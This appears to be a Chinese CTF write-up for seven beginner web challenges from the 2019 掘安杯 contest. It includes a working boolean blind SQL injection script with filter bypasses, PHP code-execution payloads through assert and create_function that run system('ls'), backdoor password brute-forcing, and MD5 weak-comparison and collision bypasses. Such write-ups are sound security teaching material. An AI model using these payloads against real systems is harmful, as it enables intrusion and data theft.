2019掘安杯web writeup
小猪佩琪 CTF 15561浏览 · 2019-04-12 01:19

前言

掘安杯网络安全技能挑战赛。题目相对简单适合新手入门,偏向php代码基础漏洞的学习。

web1

题目url:http://120.79.1.69:10001/

相当于签到题目,没什么难度,

进行抓包base64解码即可得到第一道题的flag。

amFjdGZ7OWMxZTNkMThjNDMzZDkzZDk2YTk2NGMwMGFkMzBiOGZ9

jactf{9c1e3d18c433d93d96a964c00ad30b8f}

web2

题目url:http://120.79.1.69:10002
可以下载文件源码。但是flag.txt下载不了,查看源码提示。

下载file=flag.php下载源码。

<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) 
{
    $key = md5 ( $key );
    $x = 0;
    $len = strlen ( $data );#32
    $l = strlen ( $key );   #5

    for($i = 0; $i<$len; $i ++) {

        if ($x == $l) {
            $x = 0;
        }
        $char .= $key {$x};
        $x ++;
    }

    for($i = 0; $i < $len; $i ++) {
        $str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} ))%256 );
    }
    echo  base64_encode ( $str );
}

function decrypt($data, $key) {
    $key = md5 ( $key );
    $x = 0;
    $data = base64_decode ( $data );
    $len = strlen ( $data );
    $l = strlen ( $key );
    for($i = 0; $i < $len; $i ++) {
        if ($x == $l) {
            $x = 0;
        }
        $char .= substr ( $key, $x, 1 );
        $x ++;
    }
    for($i = 0; $i < $len; $i ++) {
        if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
            $str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
        } else {
            $str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
        }
    }
    echo $str;
}

$key="MyCTF";
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";   
?>

解读:这很明显是个加密解密,其中给了加密后的flag,利用第一个函数加密,钥匙也给了MyCTF。但是不清楚为啥给了解密算法,不给也很容易逆推就可以解出来。

所以最终就是直接decrypt($flag,$key),就会打印出来flag, 也可以验证一下。

web3

url地址:http://120.79.1.69:10003

标题很简单的猜密码,

先看看源码,有PHP源码

session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
    if ($_POST['pwd'] == $_SESSION['pwd'])
        die('Flag:'.$flag);
    else{
        print '<p>猜测错误.</p>';
        $_SESSION['pwd']=time().time();
    }
}

代码相当精简,如果post的pwd等于当前的时间,就返回flag,尝试过提前预判时间,发现不可以,就只能直接入手题目了,这里用到了一个弱比较,来进行一个空比较,session ID是我们可控的,pwd也是我们可控的,唯一就是session我们无法控制是多少,但是可以置为空,

删除PHPSESSID,然后使得pwd= 空,判断就变成了空等于空,可以得到flag。

web4

url地址:http://120.79.1.69:10004

这个题一开始工具出问题扫半天没扫到,但是完全没有入手点,后来发现是工具字典问题,建议CTF找不到入手点就多扫扫,可能有遗漏,这个题目就是扫目录,有个后门文件,shell.php

一般来说后门文件就是爆破密码,本题也不例外,在burp intruder模块里进行爆破。

web5

url地址:http://120.79.1.69:10005

这道题目综合了三个知识点,python session快速计算提交,注入绕过,代码审计。综合起来还是搞了半天。

1.有个登陆框,

有返回报错信息,不难想到,肯定和注入挂钩,fuzz发现,or被过滤为空,但是很容易绕过,常规双写绕过,select也被过滤了,也可以使用双写绕过,selselectect,后台验证如果是select就替换为空,selselectect 就等于 select,空格被过滤,这里用/**/替换,

最终poc

'oorr/**/ascii(substr((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1),%s,1))>1/**/--/**/+'

如果正确的话回显用户名正确,错误的话回显用户名错误,基于布尔的盲注。脚本。

#!/usr/bin/python

# -*- coding: UTF-8 -*-

import sys
import requests
url="http://120.79.1.69:10005/index.php?check"
password=""
for i in range(1,30):
    payload="'oorr/**/ascii(substr((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1),%s,1))>%s/**/--/**/+'"
    min=10
    max=150
    while abs(max-min)>1:
        mid=int((max+min)/2)
        p = payload % (str(i),str(mid))
        data={"username":p}
        res=requests.post(url=url,data=data)
        if res.content.find("goodboy")!=-1:
            min=mid
        else:
            max=mid
    password=password+chr(max)
    print password

得到密码。

最终poc

账号:'''='
密码:ajahas&&*44askldajaj

接下来快速计算验证码,py脚本,

# -*- encoding:utf8 -*-
import sys
import requests
import re

url="http://120.79.1.69:10005/index.php"

s=requests.Session()

r=s.get(url=url)

matchp=re.search(r'(.{1}\d+[+\-*]\d+[+\-*]\d+.{1}.{1}){4}.{1}\d+[+\-*]\d+[+\-*]\d+.{1}',r.text).group()#.{1}匹配前面任意一个字符,因为给的括号是中文括>号后面同理。

matchp=matchp.replace(u'(','(')
matchp=matchp.replace(u')',')')
matchp=matchp.replace('X','*')

num=round(eval(matchp))

urls="http://120.79.1.69:10005/index.php?check"

data={"username":"'''='","code":num,"password":"ajahas&&*44askldajaj"}

res=s.post(url=urls,data=data)
print (res.text)

得到回显。

又进入另一个坑,下载zip包,zip包被加密了,

网页回显源码中给出了form的密码,打开form是道代码审计同样很简短。

Private Function getPassword(ByVal str As String) As String
    Dim reString As String
    Dim i As Integer
    i = 1
    While (i <= Len(str))
     reString = reString & Mid(str, i, 1)
     i = i + (i Mod 5)
    Wend
    getPassword = reString
End Function

Private Sub Command1_Click()
   Dim Dictionary As String

   Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="

   Dim password As String
   password = getPassword(Dictionary)
   Dim psw As String
   psw = Text1.Text
   If (psw = password) Then
    MsgBox "The password is correct!", vbOKOnly, "密码正确" 
    Text1.Text = "Password for next pass : " & getPassword(password)    
   Else
    MsgBox "PasswordFail!", vbOKOnly, "密码错误"    
   End If   
End Sub

写个python脚本解出flag.jpg的压缩密码。

# -*- encoding:utf8 -*-

def getPassword(str):
    restr=''
    i=1
    while i <=(len(str)):
        restr= restr+(str[i-1:i])
        i=i+(i%5)
    return restr
dict="VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="

password=getPassword(dict)
password=getPassword(password)

print (password)

得到密码 VmH0wW3DZalBnmmSalV1SYSGRr1r3jVYcFrHWkUUlhljkFzCbXaEKyaVJymT1FlVTVskVWhGtonaGU2WWGhVXYol1WVI1F2odFuk

将flag.jpg以txt方式打开得到flag。

web6

url地址:http://120.79.1.69:10006

一道代码审计题目,依然很精简。

<?php
error_reporting(0);
if(isset($_GET['action'])) {
    $action = $_GET['action'];
}

if(isset($_GET['action'])){
    $arg = $_GET['arg'];
}

if(preg_match('/^[a-z0-9_]*$/isD', $action)){
    show_source(__FILE__);
} else {
    $action($arg,'');
}

正则匹配

i 不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[fnrtv]
/D如果使用$限制结尾字符,则不允许结尾有换行;

精简的源码,考的代码执行,可以参考一下P牛 的create_function()代码注入,不过本题稍微有点点变化,本题其实只有一个点,

传入action参数,我们可控函数,寻找一个能够执行命令的函数就可以,但是需要这个函数有两个参数,eval就不可以,assert可以传入两个参数,可以直接getshell,

正则匹配绕过匹配开头,使用\绕过。

完整poc http://120.79.1.69:8886/web6?action=\assert&arg=system('dir')

由于题目关闭了,本地复现,

通过命令查找,即可获得flag。

参考文章:https://mochazz.github.io/2019/01/12/create_function%E5%87%BD%E6%95%B0%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0RCE/

后来题目环境变了, assert不能使用了,之前assert可以说是个bug,还是要来一遍正规做法。

题目url:http://120.79.1.69:10006

首先要绕过正则,数字字母下划线被过滤,但是需要调用函数,使用create_function创建函数,\create_function就是调用全局的create_function函数,正好绕过了正则,接下来就是拼接字符串。poc

http://120.79.1.69:10006?action=\create_function&arg=){}system('ls');//

拼入字符串后的结果。

\create_function(){}system('ls');//,'');

得到flag。

web7

这道题目依然是代码审计,主要是考弱比较以及MD5等方面的绕过。

题目url:http://120.79.1.69:8887/web7

打开即可获得源码,这里我贴出源码。

<?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
    die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
    die('step 1 fail');
}
if( $str3 == $str4 ){
    die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
    die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
    die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
    die('step 3 fail');
}

if(!($_POST['a']) and !($_POST['b']))
{
    echo "come on!";
    die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];

if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6)) 
{
    echo "a OR b fail!";
    die();
}

if ((strlen($m) > 4) || (strlen($n) > 4)) 
{
    echo "m OR n fail";
    die();
}

$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);

echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";

if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
    echo "You're great,give you flag:";
    echo $flag;
}

还算比较常规比较简单的源码,主要是考几个php知识点。

1.首先需要传参数str1不能等于str2,但是需要md5一样,不清楚的百度php md5弱比较。也就是字符串QNKCDZO 和字符串s878926199a,这两个加密出来的md5是

MD5("QNKCDZO")=0e830400451993494058024219903391
MD5("s878926199a")=0e545993274517709034328855841020

在php中如果是0e开头的字符串进行==比较,会认为是科学记数法0e,0的几次方,所以结果自然是0,这样就达到了字符串比较不相等,但是MD5值相等的绕过方法,前提是0e后面跟的是数字,如果是0e1a223...,0e后面有个a字母则无法转化成0。

2.str3和str4和str1 str2差不多,唯一变化是这次用到了!==需要绕过,但是在这种严密的!==,0e这种不可以绕过了,他会一个一个字符的对比,而不是解析为0,这个时候需要用到数组类型不同来绕过,也就是str3[]=1,str4=0,因为这两种根本不是同一种类型的,所以自然无法比较返回false,进而绕过。

3.str5 str6 str7,首先第一个肯定不能三个相等,但是下面又用严格的判断必须md5相等,在php中===和!==这种几乎是没办法绕过的,所以只能让他们的md5真正相等,如果一开始就去绕可能就陷进去了,这个判断的难点在于找到三个真正相等的MD5值的原型。这里参考一篇文章。

https://xz.aliyun.com/t/3161#toc-5

基于全等的MD5碰撞绕过这一目录下的讲解,很详细,需要下载他所说的两个工具,然后按照他的命令

D:\fastcoll>fastcoll_v1.0.0.5.exe -o jlzj0 jlzj1      #-o参数代表随机生成两个相同MD5的文件
D:\fastcoll>fastcoll_v1.0.0.5.exe -p jlzj1 -o jlzj00 jlzj01  #-p参数代表根据jlzj1文件随机生成两个相同MD5的文件,注意:生成的MD5与jlzj1不同
D:\fastcoll>tail.exe -c 128 jlzj00 > a                #-c 128代表将jlzj00的最后128位写入文件a,这128位正是jlzj1与jlzj00的MD5不同的原因
D:\fastcoll>tail.exe -c 128 jlzj01 > b                #同理
D:\fastcoll>type jlzj0 a > jlzj10                    #这里表示将jlzj0和a文件的内容合并写入jlzj10
D:\fastcoll>type jlzj0 b > jlzj11                    #同理写入jlzj11

生成文件即可,生成的文件内容进行MD5加密就是相同的,但是需要url编码提交到burp里面发包,如果在浏览器里会自动解码,出现大大小小的各种问题。

编码参考:https://xz.aliyun.com/t/2232

最终将生成的三个url编码之后的分别复制给str5 str6 str7。

4.第四个点,首先post a和b,然后进入第二个判断,a必须是大写字母,b必须是数字,(is_numeric函数也有一些漏洞),b的长度不能大于6,这里我们把视角移到最后一个if判断

if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))

这里用===判断,b的长度必须为6,刚刚我们说了===很难绕过,所以b的长度就只能为6,其中a不能等于b,这个很容易做到,str8 == str9,

$str8 = hash('md5', $a, false); 
$str9 = strtr(hash('md5', $b, false), $m, $n);

很显然又是需要0e来绕过使得md5后的a b相等,这里a的值很简单,利用网上现有的MD5之后的原型QNKCDZO,并且都是大写,但是b想要找到六位的并且0e开头能够利用的仿佛并找不到,这里想了很久,不过还好有一个字符替换,

strtr(hash('md5', $b, false), $m, $n)

这里是将m替换为n,这样我们就可以利用替换,将一些可能构造的md5值构造成我们需要的,比如 0e123123aaa,我们可以让m=a,n=1,替换为0e123123111,这样就可以进行判断绕过了,这里还要提到上面提示了一个点用is_numeric函数的漏洞,他可以接受十六进制,0xFFFF他同样认为是数字,所以我们写个脚本找到0e开头的md5值,然后替换掉其中的字母,最终绕过。

for($i=1000;$i<9999;$i++)
{
    $b="0x".$i;

    #echo md5($b);
    $c=md5($b);

    if(preg_match('/^0e/',$c))
    {
        echo $b."=====>>";
        echo $c;
        echo "<br/>";

    }

}

选择其中一个

0x6156=====>>0ec4899c94ada8d08a6ada8623c6ff01

刚好md5值有数字 cadf,四个字符刚好用长度最大为4的m n来替换,完整的poc,得到flag。

0 条评论
某人
表情
可输入 255
目录